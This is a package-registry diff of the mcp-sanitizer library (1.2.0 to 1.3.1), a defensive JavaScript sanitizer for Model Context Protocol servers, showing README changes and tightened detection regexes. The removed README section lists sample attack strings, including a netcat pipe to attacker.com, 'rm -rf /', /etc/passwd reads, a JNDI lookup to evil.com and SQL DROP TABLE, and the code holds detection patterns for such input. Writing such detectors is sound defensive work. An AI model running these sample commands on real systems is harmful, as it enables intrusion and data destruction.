mcp-sanitizer 1.2.0 → 1.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. package/README.md +81 -95
  2. package/package.json +13 -5
  3. package/src/config/default-config.js +11 -2
  4. package/src/config/security-policies.js +18 -6
  5. package/src/middleware/optimized-skip-matcher.js +4 -2
  6. package/src/patterns/command-injection.js +2 -2
  7. package/src/patterns/index.js +64 -62
  8. package/src/patterns/nosql-injection.js +2 -2
  9. package/src/patterns/prototype-pollution.js +31 -28
  10. package/src/patterns/sql-injection.js +17 -15
  11. package/src/patterns/template-injection.js +43 -34
  12. package/src/sanitizer/mcp-sanitizer.js +0 -32
  13. package/src/sanitizer/validators/command.js +10 -8
  14. package/src/sanitizer/validators/sql.js +22 -20
  15. package/src/utils/enterprise-security.js +4 -4
  16. package/src/utils/redos-safe-patterns.js +336 -0
  17. package/src/utils/security-enhancements.js +1 -1
  18. package/src/utils/string-utils.js +1 -1
  19. package/src/utils/unified-parser.js +26 -1
  20. package/.eslintrc.js +0 -33
  21. package/.github/ISSUE_TEMPLATE/bug_report.md +0 -33
  22. package/.github/ISSUE_TEMPLATE/config.yml +0 -8
  23. package/.github/ISSUE_TEMPLATE/feature_request.md +0 -26
  24. package/.github/ISSUE_TEMPLATE/security_report.md +0 -23
  25. package/.github/PULL_REQUEST_TEMPLATE.md +0 -28
  26. package/.github/workflows/ci.yml +0 -59
  27. package/.github/workflows/security.yml +0 -43
  28. package/.nvmrc +0 -1
  29. package/.prettierrc +0 -8
  30. package/API.md +0 -713
  31. package/benchmark/README.md +0 -445
  32. package/benchmark/advanced-security-benchmark.js +0 -313
  33. package/benchmark/library-performance.js +0 -170
  34. package/benchmark/quick-demo.js +0 -109
  35. package/benchmark/skip-paths-performance.js +0 -227
  36. package/docs/SECURITY.md +0 -177
  37. package/examples/README.md +0 -186
  38. package/examples/configuration-examples.js +0 -233
  39. package/examples/cve-tbd-001-fix-demo.js +0 -134
  40. package/examples/edge-case-validation.js +0 -130
  41. package/examples/mcp-server-basic.js +0 -441
  42. package/examples/mcp-server.js +0 -409
  43. package/examples/security-bypass-demo.js +0 -294
  44. package/examples/test-server.js +0 -401
  45. package/jest.config.js +0 -29
  46. package/test/comprehensive-unicode-security.test.js +0 -397
  47. package/test/coverage-gaps.test.js +0 -814
  48. package/test/edge-case-fixes.test.js +0 -109
  49. package/test/enterprise-security-final.test.js +0 -406
  50. package/test/mcp-sanitizer.test.js +0 -348
  51. package/test/middleware/middleware.test.js +0 -407
  52. package/test/middleware/optimized-skip-matcher.test.js +0 -311
  53. package/test/middleware/skipPaths.test.js +0 -551
  54. package/test/nosql-injection.test.js +0 -499
  55. package/test/parser-differential-vulnerability.test.js +0 -206
  56. package/test/security-comprehensive.test.js +0 -454
  57. package/test/security-decoder-integration.test.js +0 -225
  58. package/test/security-enhancements-simple.test.js +0 -78
  59. package/test/security-enhancements.test.js +0 -386
  60. package/test/security-performance-benchmark.test.js +0 -296
  61. package/test/unit/config/config.test.js +0 -294
  62. package/test/unit/library-integration.test.js +0 -260
  63. package/test/unit/validation-libraries.test.js +0 -279
  64. package/tsconfig.json +0 -27
package/README.md CHANGED
@@ -4,42 +4,30 @@ A comprehensive security sanitization library for Model Context Protocol (MCP) s
4
4
 
5
5
  [![npm version](https://badge.fury.io/js/mcp-sanitizer.svg)](https://badge.fury.io/js/mcp-sanitizer)
6
6
  [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
7
- [![Test Coverage](https://img.shields.io/badge/Test%20Coverage-Comprehensive-brightgreen)](./test)
8
- [![Security Tests](https://img.shields.io/badge/Security%20Tests-500%2B-brightgreen)](./test)
7
+ [![Security Tests](https://img.shields.io/badge/Security%20Tests-1100%2B-brightgreen)](./test)
9
8
 
10
9
  ## 🔒 Security Features
11
10
 
12
- MCP Sanitizer provides comprehensive, defense-in-depth protection against common attack vectors:
11
+ MCP Sanitizer provides comprehensive, defense-in-depth protection:
13
12
 
14
- - ✅ **Multi-layered validation** for command injection, SQL injection, and XSS
15
- - ✅ **Advanced Unicode normalization** to prevent homograph attacks
16
- - ✅ **Context-aware sanitization** for different input types
17
- - ✅ **NoSQL injection protection** for MongoDB and similar databases
18
- - ✅ **Path traversal prevention** with robust normalization
19
- - ✅ **Database-specific SQL protection** for PostgreSQL, MySQL, MSSQL, Oracle
20
- - ✅ **Comprehensive test coverage** with 500+ security tests
13
+ - ✅ **Multi-layered Protection**: Command injection, SQL injection, XSS, NoSQL injection, path traversal
14
+ - ✅ **Advanced Unicode Defense**: Homograph detection, multi-pass normalization, zero-width removal
15
+ - ✅ **Context-aware Validation**: Specialized rules for file paths, URLs, commands, and SQL queries
16
+ - ✅ **Database-specific SQL Protection**: PostgreSQL, MySQL, MSSQL, Oracle validation and escaping
17
+ - ✅ **Framework Integration**: Express, Fastify, and Koa middleware with `skipPaths` support
18
+ - ✅ **Security Policies**: Pre-configured policies (STRICT, MODERATE, PERMISSIVE, DEVELOPMENT, PRODUCTION)
19
+ - ✅ **Comprehensive Validation**: Checking 42+ attack vectors across 12 validation layers in <1ms
20
+ - ✅ **Comprehensive Testing**: 1114 tests with 93% code coverage, sub-millisecond performance
21
21
 
22
22
  ### Security Philosophy
23
-
24
23
  While we maintain rigorous security standards and comprehensive test coverage, we acknowledge that:
25
- - No security solution is 100% bulletproof
26
- - Zero-day vulnerabilities may exist
27
- - Defense-in-depth is essential
28
- - Regular updates are crucial
24
+ - No security solution is 100% bulletproof against unknown threats
25
+ - Zero-day vulnerabilities may emerge in the future
26
+ - Defense-in-depth is essential (use multiple security layers)
27
+ - Regular updates are crucial for evolving threat landscape
29
28
 
30
29
  We encourage responsible disclosure of any security issues via GitHub Security Advisories.
31
30
 
32
- ## Features
33
-
34
- ### Core Capabilities
35
- - **Multi-layered Protection**: Command injection, SQL injection, XSS, NoSQL injection, path traversal
36
- - **Advanced Unicode Defense**: Homograph detection, normalization, zero-width character removal
37
- - **Context-aware Validation**: Different rules for file paths, URLs, commands, and SQL queries
38
- - **Framework Integration**: Express, Fastify, and Koa middleware with `skipPaths` support
39
- - **Security Policies**: Pre-configured (STRICT, MODERATE, PERMISSIVE, DEVELOPMENT, PRODUCTION)
40
- - **Performance Optimized**: Sub-millisecond operations, <10ms latency
41
- - **Comprehensive Testing**: 500+ security tests
42
-
43
31
  ## Installation
44
32
 
45
33
  ```bash
@@ -94,7 +82,7 @@ const customSanitizer = new MCPSanitizer({
94
82
  policy: 'MODERATE',
95
83
  maxStringLength: 15000,
96
84
  allowedProtocols: ['https', 'mcp'],
97
- blockSeverity: 'MEDIUM' // Block medium severity and above
85
+ blockOnSeverity: 'medium' // Block medium severity and above
98
86
  });
99
87
  ```
100
88
  ## Framework Middleware
@@ -103,16 +91,16 @@ const customSanitizer = new MCPSanitizer({
103
91
 
104
92
  ```javascript
105
93
  const express = require('express');
106
- const { createMCPMiddleware } = require('mcp-sanitizer');
94
+ const { createExpressMiddleware } = require('mcp-sanitizer/middleware/express');
107
95
 
108
96
  const app = express();
109
97
  app.use(express.json());
110
98
 
111
- // Auto-detect framework and apply middleware
112
- app.use(createMCPMiddleware());
99
+ // Apply middleware with defaults
100
+ app.use(createExpressMiddleware());
113
101
 
114
102
  // Or specify configuration
115
- app.use(createMCPMiddleware({
103
+ app.use(createExpressMiddleware({
116
104
  policy: 'PRODUCTION',
117
105
  mode: 'sanitize', // or 'block'
118
106
  skipPaths: ['/health', '/metrics'] // Skip sanitization for these paths
@@ -128,19 +116,19 @@ app.post('/tools/:toolName/execute', (req, res) => {
128
116
 
129
117
  ```javascript
130
118
  const fastify = require('fastify')();
131
- const { createFastifyPlugin } = require('mcp-sanitizer');
119
+ const mcpSanitizerPlugin = require('mcp-sanitizer/middleware/fastify');
132
120
 
133
121
  // Register as plugin
134
- fastify.register(createFastifyPlugin({
122
+ fastify.register(mcpSanitizerPlugin, {
135
123
  policy: 'MODERATE'
136
- }));
124
+ });
137
125
  ```
138
126
 
139
127
  ### Koa
140
128
 
141
129
  ```javascript
142
130
  const Koa = require('koa');
143
- const { createKoaMiddleware } = require('mcp-sanitizer');
131
+ const { createKoaMiddleware } = require('mcp-sanitizer/middleware/koa');
144
132
 
145
133
  const app = new Koa();
146
134
  app.use(createKoaMiddleware({
@@ -212,34 +200,12 @@ const sanitizer = new MCPSanitizer({
212
200
 
213
201
  ## Supported Attack Vectors
214
202
 
215
- ### Directory Traversal
216
- - `../../../etc/passwd`
217
- - `..\\windows\\system32\\config`
218
- - `/proc/version`, `/sys/class/net`
219
-
220
- ### Command Injection
221
- - `ls; rm -rf /`
222
- - `command && malicious_command`
223
- - `ls | nc attacker.com 4444`
224
-
225
- ### SQL Injection
226
- - `'; DROP TABLE users;--`
227
- - `UNION SELECT * FROM passwords`
228
- - `EXEC xp_cmdshell('dir')`
229
-
230
- ### Prototype Pollution
231
- - `{"__proto__": {"isAdmin": true}}`
232
- - `{"constructor": {"prototype": {"polluted": true}}}`
233
-
234
- ### Template Injection
235
- - `{{constructor.constructor('return process')()}}`
236
- - `${jndi:ldap://evil.com/x}`
237
- - `<%= require("child_process").exec("whoami") %>`
238
-
239
- ### Code Execution
240
- - `require('fs').readFileSync('/etc/passwd')`
241
- - `eval("malicious_code")`
242
- - `Function("return process")()`
203
+ - **Directory Traversal** - Relative path escapes, absolute system paths, UNC paths
204
+ - **Command Injection** - Shell metacharacters, chained commands, pipe redirection
205
+ - **SQL Injection** - Union-based, boolean-based, time-based, stacked queries, comment injection
206
+ - **Prototype Pollution** - Proto/constructor manipulation, deep property injection
207
+ - **Template Injection** - Server-side template engines, JNDI lookups, expression languages
208
+ - **Code Execution** - Dynamic evaluation, module loading, function constructors
243
209
 
244
210
  ## API Reference
245
211
 
@@ -333,10 +299,27 @@ npm run security-audit
333
299
 
334
300
  ## Performance
335
301
 
336
- - **Low Latency**: All operations complete in <0.5ms
337
- - **Memory Efficient**: Configurable limits prevent memory exhaustion
338
- - **Scalable**: Stateless design allows horizontal scaling
339
- - **Optimized**: Using C++ backed libraries where available
302
+ - **Sub-millisecond Validation**: <1ms average latency for complete validation (12 layers checking 40+ attack vectors)
303
+ - **High Throughput**: 7,500+ operations/second average, scales linearly with CPU cores
304
+ - **Industry-Leading Libraries**: escape-html (31M ops/sec), sqlstring (44M ops/sec), shell-quote (2.5M ops/sec)
305
+ - **Production Ready**: Sub-millisecond response times enable real-time validation without user-perceivable delays
306
+ - **Memory Efficient**: Configurable limits prevent exhaustion (<100MB under attack, typical usage <60MB)
307
+ - **Zero Overhead**: No artificial delays, pure validation logic only
308
+ - **Scalable**: Stateless design allows horizontal scaling across multiple cores/instances
309
+
310
+ ### Performance Metrics
311
+
312
+ | Metric | Value | Details |
313
+ |--------|-------|---------|
314
+ | **Average Latency** | <1ms | 0.447ms - 0.84ms depending on input complexity |
315
+ | **Throughput** | 7,500+ ops/sec | Per CPU core, scales linearly |
316
+ | **Attack Detection** | 0.28ms - 2.39ms | All 42 attack vectors blocked |
317
+ | **Memory Usage** | <60MB typical | <100MB maximum under stress |
318
+ | **CPU Efficiency** | Optimized | No busy-wait loops, pure validation |
319
+
320
+ **Validation Layers**: Command injection, SQL injection (4 databases), NoSQL injection, XSS, path traversal, prototype pollution, template injection, Unicode normalization (4 passes), multi-layer encoding detection, file extension validation, protocol validation
321
+
322
+ **Optimization Options**: Use `skipPaths` middleware to exempt low-risk routes (health checks, static assets, metrics endpoints)
340
323
 
341
324
  ## Examples
342
325
 
@@ -385,15 +368,6 @@ if (urlResult.blocked) {
385
368
  }
386
369
  ```
387
370
 
388
- ## Security Considerations
389
-
390
- - **Defense in Depth**: Use sanitization as one layer of your security strategy
391
- - **Input Validation**: Always validate inputs at the edge of your system
392
- - **Output Encoding**: Consider output context when displaying sanitized data
393
- - **Rate Limiting**: Implement rate limiting alongside input sanitization
394
- - **Logging**: Log blocked attempts for security monitoring
395
- - **Regular Updates**: Keep the library updated for new attack patterns
396
-
397
371
  ## Contributing
398
372
 
399
373
  1. Fork the repository
@@ -407,43 +381,55 @@ if (urlResult.blocked) {
407
381
 
408
382
  ## Security
409
383
 
410
- ### 🛡️ Security Testing
384
+ ### 🛡️ Run Security Benchmarks
411
385
 
412
386
  Run comprehensive security benchmarks to validate protection:
413
387
 
414
388
  ```bash
415
- # Run all benchmarks
416
- npm run benchmark
389
+ # Quick demo (10 attack vectors + performance test)
390
+ node benchmark/quick-demo.js
417
391
 
418
- # Run security-specific benchmark (42 attack vectors)
392
+ # Comprehensive security benchmark (42 attack vectors)
419
393
  node benchmark/advanced-security-benchmark.js
420
394
 
421
- # Run performance benchmarks
395
+ # Performance benchmarks
422
396
  node benchmark/library-performance.js
423
397
  node benchmark/skip-paths-performance.js
424
398
  ```
425
399
 
426
- ### 📊 Security Testing Coverage
400
+ **Expected Results:**
401
+ - All 42 attack vectors blocked (100%)
402
+ - Average latency: <1ms
403
+ - Throughput: 7,500+ ops/sec
404
+ - Memory usage: <60MB
405
+
406
+ ### 🔒 Security Testing Coverage
427
407
 
428
- - **Attack Vectors Tested**: 42 comprehensive test cases
429
- - **XSS Vectors**: 13 test cases
430
- - **SQL Injection Vectors**: 10 test cases
431
- - **Command Injection Vectors**: 10 test cases
432
- - **Path Traversal Vectors**: 9 test cases
433
- - **Memory Safety**: Bounded memory usage under attack
408
+ | Category | Coverage |
409
+ |----------|----------|
410
+ | **XSS Vectors** | DOM-based, attribute injection, polyglots |
411
+ | **SQL Injection** | All major databases, blind/time-based, bypass techniques |
412
+ | **Command Injection** | Shell metacharacters, environment vars, process substitution |
413
+ | **Path Traversal** | Directory traversal, absolute paths, UNC |
414
+ | **ReDoS Protection** | Polynomial backtracking, timeout guards |
415
+ | **Prototype Pollution** | `__proto__`, constructor, prototype, encoding bypass |
416
+ | **Memory Safety** | Bounded memory usage under attack |
434
417
 
435
- ### 🔒 Security Best Practices
418
+ ### 🎯 Security Best Practices
436
419
 
437
- 1. **Always use STRICT or PRODUCTION policy for untrusted input**
438
- 2. **Regularly update to get latest security patches**
439
- 3. **Test with your specific attack vectors**
440
- 4. **Monitor sanitization warnings and blocked attempts in production**
441
- 5. **Implement defense-in-depth - don't rely on a single security layer**
420
+ 1. **Use STRICT or PRODUCTION policy** for untrusted input
421
+ 2. **Update regularly** for latest security patches
422
+ 3. **Monitor blocked attempts** in production for security insights
423
+ 4. **Implement defense-in-depth** - multiple security layers
424
+ 5. **Test with your attack vectors** using provided benchmarks
425
+ 6. ✅ **Enable rate limiting** at infrastructure layer
442
426
 
443
- ### 📝 Security Documentation
427
+ ### 📝 Security Resources
444
428
 
445
429
  - [Security Documentation](./docs/SECURITY.md) - Comprehensive security information
446
430
  - [Benchmark Documentation](./benchmark/README.md) - Performance and security testing
431
+ - [CodeQL Results](https://github.com/starman69/mcp-sanitizer/security/code-scanning) - Zero findings
432
+ - [Release Notes](https://github.com/starman69/mcp-sanitizer/releases) - Security improvements per version
447
433
 
448
434
  ## Security Reporting
449
435
 
package/package.json CHANGED
@@ -1,8 +1,13 @@
1
1
  {
2
2
  "name": "mcp-sanitizer",
3
- "version": "1.2.0",
3
+ "version": "1.3.1",
4
4
  "description": "Comprehensive security sanitization library for Model Context Protocol (MCP) servers with trusted security libraries",
5
5
  "main": "src/index.js",
6
+ "files": [
7
+ "src/",
8
+ "LICENSE",
9
+ "README.md"
10
+ ],
6
11
  "scripts": {
7
12
  "test": "jest",
8
13
  "test:watch": "jest --watch",
@@ -37,7 +42,7 @@
37
42
  "shell-quote": "^1.8.3",
38
43
  "sqlstring": "^2.3.3",
39
44
  "unorm": "^1.6.0",
40
- "validator": "^13.15.15"
45
+ "validator": "^13.15.22"
41
46
  },
42
47
  "devDependencies": {
43
48
  "benchmark": "^2.1.4",
@@ -48,14 +53,17 @@
48
53
  "supertest": "^6.3.3"
49
54
  },
50
55
  "engines": {
51
- "node": ">=18.19.0"
56
+ "node": ">=20.0.0"
52
57
  },
53
58
  "repository": {
54
59
  "type": "git",
55
- "url": "https://github.com/starman69/mcp-sanitizer.git"
60
+ "url": "git+https://github.com/starman69/mcp-sanitizer.git"
56
61
  },
57
62
  "bugs": {
58
63
  "url": "https://github.com/starman69/mcp-sanitizer/issues"
59
64
  },
60
- "homepage": "https://github.com/starman69/mcp-sanitizer#readme"
65
+ "homepage": "https://github.com/starman69/mcp-sanitizer#readme",
66
+ "overrides": {
67
+ "qs": ">=6.14.2"
68
+ }
61
69
  }
@@ -49,8 +49,17 @@ const DEFAULT_CONFIG = {
49
49
  // Code execution patterns
50
50
  /require\s*\(|import\s*\(|eval\s*\(|Function\s*\(/i,
51
51
 
52
- // Script injection patterns (XSS)
53
- /<!--[\s\S]*?-->|<script[\s\S]*?<\/script>|<[^>]*on\w+\s*=|javascript:/i,
52
+ // Script injection patterns (XSS) - Heuristic detection
53
+ // Detects HTML comments
54
+ /<!--[\s\S]*?-->/i,
55
+ // Detects well-formed script tags (handles attributes/whitespace in closing tag)
56
+ /<script\b[\s\S]*?<\/script\b[^>]*>/i,
57
+ // Detects unclosed or malformed script tags
58
+ /<script[^>]*>/i,
59
+ // Detects event handlers (improved to catch <img onload=alert(1)>)
60
+ /<[^>]*[\s/]on\w+\s*=/i,
61
+ // Detects javascript: protocol
62
+ /javascript:/i,
54
63
 
55
64
  // Command chaining patterns
56
65
  /\|\s*\w+|&&|\|\||;|`/,
@@ -33,7 +33,7 @@ const STRICT_POLICY = {
33
33
  // Minimal file type support
34
34
  allowedFileExtensions: ['.txt', '.json'],
35
35
 
36
- // Comprehensive pattern blocking
36
+ // These patterns provide fast heuristic detection as part of defense-in-depth.
37
37
  blockedPatterns: [
38
38
  // All template injection patterns
39
39
  /\$\{.*?\}|\{\{.*?\}\}|<%.*?%>|\[\[.*?\]\]/,
@@ -44,8 +44,13 @@ const STRICT_POLICY = {
44
44
  // All code execution patterns
45
45
  /require\s*\(|import\s*\(|eval\s*\(|Function\s*\(|setTimeout\s*\(|setInterval\s*\(/i,
46
46
 
47
- // All script patterns
48
- /<!--[\s\S]*?-->|<script[\s\S]*?<\/script>|<[^>]*on\w+\s*=|javascript:|data:/i,
47
+ // XSS patterns (heuristic detection - see docs for limitations)
48
+ /<!--[\s\S]*?-->/i, // HTML comments
49
+ /<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
50
+ /<script[^>]*>/i, // Unclosed/malformed script tags
51
+ /<[^>]*[\s/]on\w+\s*=/i, // Event handlers (improved pattern)
52
+ /javascript:/i, // JavaScript protocol
53
+ /data:/i, // Data protocol (can contain scripts)
49
54
 
50
55
  // All command patterns
51
56
  /\|\s*\w+|&&|\|\||;|`|\$\(|\$\{/,
@@ -148,7 +153,12 @@ const MODERATE_POLICY = {
148
153
  /\$\{.*?\}|\{\{.*?\}\}|<%.*?%>/,
149
154
  /__proto__|constructor\.prototype|prototype\.constructor/i,
150
155
  /require\s*\(|import\s*\(|eval\s*\(|Function\s*\(/i,
151
- /<!--[\s\S]*?-->|<script[\s\S]*?<\/script>|<[^>]*on\w+\s*=|javascript:/i,
156
+ // XSS patterns (heuristic detection)
157
+ /<!--[\s\S]*?-->/i, // HTML comments
158
+ /<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
159
+ /<script[^>]*>/i, // Unclosed/malformed script tags
160
+ /<[^>]*[\s/]on\w+\s*=/i, // Event handlers (improved pattern)
161
+ /javascript:/i, // JavaScript protocol
152
162
  /\|\s*\w+|&&|\|\||;|`/,
153
163
  /\.\.\//
154
164
  ],
@@ -237,7 +247,8 @@ const PERMISSIVE_POLICY = {
237
247
  // Minimal pattern blocking - only the most dangerous
238
248
  blockedPatterns: [
239
249
  /eval\s*\(/i, // Direct eval calls
240
- /<script[\s\S]*?<\/script>/i, // Script tags
250
+ /<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
251
+ /<script[^>]*>/i, // Unclosed script tags
241
252
  /__proto__\s*:/ // Direct prototype pollution
242
253
  ],
243
254
 
@@ -324,7 +335,8 @@ const DEVELOPMENT_POLICY = {
324
335
  blockedPatterns: [
325
336
  /__proto__|constructor\.prototype/i,
326
337
  /eval\s*\(/i,
327
- /<script[\s\S]*?<\/script>/i,
338
+ /<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
339
+ /<script[^>]*>/i, // Unclosed script tags
328
340
  /\|\s*rm|\|\s*del/
329
341
  ],
330
342
 
@@ -133,10 +133,11 @@ class OptimizedSkipMatcher {
133
133
 
134
134
  /**
135
135
  * Prefix Trie for efficient prefix matching
136
+ * Uses null-prototype objects to prevent prototype pollution (CVE-TBD-006)
136
137
  */
137
138
  class PrefixTrie {
138
139
  constructor () {
139
- this.root = {};
140
+ this.root = Object.create(null);
140
141
  this._size = 0;
141
142
  }
142
143
 
@@ -153,7 +154,8 @@ class PrefixTrie {
153
154
 
154
155
  for (const char of normalizedPath) {
155
156
  if (!node[char]) {
156
- node[char] = {};
157
+ // Use Object.create(null) to prevent prototype pollution
158
+ node[char] = Object.create(null);
157
159
  }
158
160
  node = node[char];
159
161
  }
@@ -21,9 +21,9 @@ const SEVERITY_LEVELS = {
21
21
  const SHELL_METACHARACTERS = [
22
22
  /[;&|`$(){}[\]]/, // Basic shell metacharacters
23
23
  /\|\s*\w+|&&|\|\||;|`/, // Command chaining patterns
24
- /\$\(.*?\)|\$\{.*?\}/, // Command substitution
24
+ /\$\([^)]{0,200}\)|\$\{[^}]{0,200}\}/, // Command substitution (bounded)
25
25
  />\s*\/dev\/|<\s*\/dev\//, // Device redirection
26
- /<<\s*EOF|<<\s*\w+/, // Here documents
26
+ /<<\s*(?:EOF|\w{1,20})/, // Here documents (bounded)
27
27
  /\*|\?|~|\^/ // Wildcards and expansion
28
28
  ];
29
29
 
@@ -227,81 +227,83 @@ function createPatternDetector (config = {}) {
227
227
  customPatterns = []
228
228
  } = config;
229
229
 
230
- return {
231
- detect: (input, options = {}) => {
232
- const mergedOptions = { ...options, strictMode, customPatterns };
233
-
234
- if (!enableCommandInjection &&
235
- !enableSQLInjection &&
236
- !enablePrototypePollution &&
237
- !enableTemplateInjection &&
238
- !enableNoSQLInjection) {
239
- return { detected: false, severity: null, patterns: [] };
240
- }
230
+ const detect = (input, options = {}) => {
231
+ const mergedOptions = { ...options, strictMode, customPatterns };
232
+
233
+ if (!enableCommandInjection &&
234
+ !enableSQLInjection &&
235
+ !enablePrototypePollution &&
236
+ !enableTemplateInjection &&
237
+ !enableNoSQLInjection) {
238
+ return { detected: false, severity: null, patterns: [] };
239
+ }
241
240
 
242
- // Run only enabled detectors
243
- const results = {
244
- detected: false,
245
- severity: null,
246
- patterns: [],
247
- detectionResults: {}
248
- };
249
-
250
- if (enableCommandInjection) {
251
- const result = commandInjection.detectCommandInjection(input, mergedOptions);
252
- if (result.detected) {
253
- results.detected = true;
254
- results.patterns.push(...result.patterns);
255
- results.severity = getHigherSeverity(results.severity, result.severity);
256
- }
257
- results.detectionResults.commandInjection = result;
241
+ // Run only enabled detectors
242
+ const results = {
243
+ detected: false,
244
+ severity: null,
245
+ patterns: [],
246
+ detectionResults: {}
247
+ };
248
+
249
+ if (enableCommandInjection) {
250
+ const result = commandInjection.detectCommandInjection(input, mergedOptions);
251
+ if (result.detected) {
252
+ results.detected = true;
253
+ results.patterns.push(...result.patterns);
254
+ results.severity = getHigherSeverity(results.severity, result.severity);
258
255
  }
256
+ results.detectionResults.commandInjection = result;
257
+ }
259
258
 
260
- if (enableSQLInjection) {
261
- const result = sqlInjection.detectSQLInjection(input, mergedOptions);
262
- if (result.detected) {
263
- results.detected = true;
264
- results.patterns.push(...result.patterns);
265
- results.severity = getHigherSeverity(results.severity, result.severity);
266
- }
267
- results.detectionResults.sqlInjection = result;
259
+ if (enableSQLInjection) {
260
+ const result = sqlInjection.detectSQLInjection(input, mergedOptions);
261
+ if (result.detected) {
262
+ results.detected = true;
263
+ results.patterns.push(...result.patterns);
264
+ results.severity = getHigherSeverity(results.severity, result.severity);
268
265
  }
266
+ results.detectionResults.sqlInjection = result;
267
+ }
269
268
 
270
- if (enablePrototypePollution) {
271
- const result = prototypePollution.detectPrototypePollution(input, mergedOptions);
272
- if (result.detected) {
273
- results.detected = true;
274
- results.patterns.push(...result.patterns);
275
- results.severity = getHigherSeverity(results.severity, result.severity);
276
- }
277
- results.detectionResults.prototypePollution = result;
269
+ if (enablePrototypePollution) {
270
+ const result = prototypePollution.detectPrototypePollution(input, mergedOptions);
271
+ if (result.detected) {
272
+ results.detected = true;
273
+ results.patterns.push(...result.patterns);
274
+ results.severity = getHigherSeverity(results.severity, result.severity);
278
275
  }
276
+ results.detectionResults.prototypePollution = result;
277
+ }
279
278
 
280
- if (enableTemplateInjection) {
281
- const result = templateInjection.detectTemplateInjection(input, mergedOptions);
282
- if (result.detected) {
283
- results.detected = true;
284
- results.patterns.push(...result.patterns);
285
- results.severity = getHigherSeverity(results.severity, result.severity);
286
- }
287
- results.detectionResults.templateInjection = result;
279
+ if (enableTemplateInjection) {
280
+ const result = templateInjection.detectTemplateInjection(input, mergedOptions);
281
+ if (result.detected) {
282
+ results.detected = true;
283
+ results.patterns.push(...result.patterns);
284
+ results.severity = getHigherSeverity(results.severity, result.severity);
288
285
  }
286
+ results.detectionResults.templateInjection = result;
287
+ }
289
288
 
290
- if (enableNoSQLInjection) {
291
- const result = nosqlInjection.detectNoSQLInjection(input, mergedOptions);
292
- if (result.detected) {
293
- results.detected = true;
294
- results.patterns.push(...result.patterns);
295
- results.severity = getHigherSeverity(results.severity, result.severity);
296
- }
297
- results.detectionResults.nosqlInjection = result;
289
+ if (enableNoSQLInjection) {
290
+ const result = nosqlInjection.detectNoSQLInjection(input, mergedOptions);
291
+ if (result.detected) {
292
+ results.detected = true;
293
+ results.patterns.push(...result.patterns);
294
+ results.severity = getHigherSeverity(results.severity, result.severity);
298
295
  }
296
+ results.detectionResults.nosqlInjection = result;
297
+ }
299
298
 
300
- return results;
301
- },
299
+ return results;
300
+ };
301
+
302
+ return {
303
+ detect,
302
304
 
303
305
  isSecure: (input, options = {}) => {
304
- return !this.detect(input, options).detected;
306
+ return !detect(input, options).detected;
305
307
  }
306
308
  };
307
309
  }
@@ -504,7 +504,7 @@ class NoSQLValidator {
504
504
  /false,\s*\$where:/i,
505
505
  /['"]\s*,\s*\$where:/i,
506
506
  /admin['"]\s*,\s*\$where:/i,
507
- /return\s+true\s*;?\s*\/\//i,
507
+ /return\s+true\s{0,5};?\s{0,5}\/\//i, // Bounded quantifiers
508
508
  /\|\|\s*true/i
509
509
  ];
510
510
 
@@ -527,7 +527,7 @@ class NoSQLValidator {
527
527
  /db\.\w+\.(drop|remove|insert)/i,
528
528
  /this\.constructor\.constructor/i,
529
529
  /process\(\)\.exit/i,
530
- /['"]\s*;\s*.*?;\s*\/\//i
530
+ /['"]\s*;\s*[^;]{0,100};\s*\/\//i // Bounded to prevent ReDoS
531
531
  ];
532
532
 
533
533
  for (const pattern of ssjsPatterns) {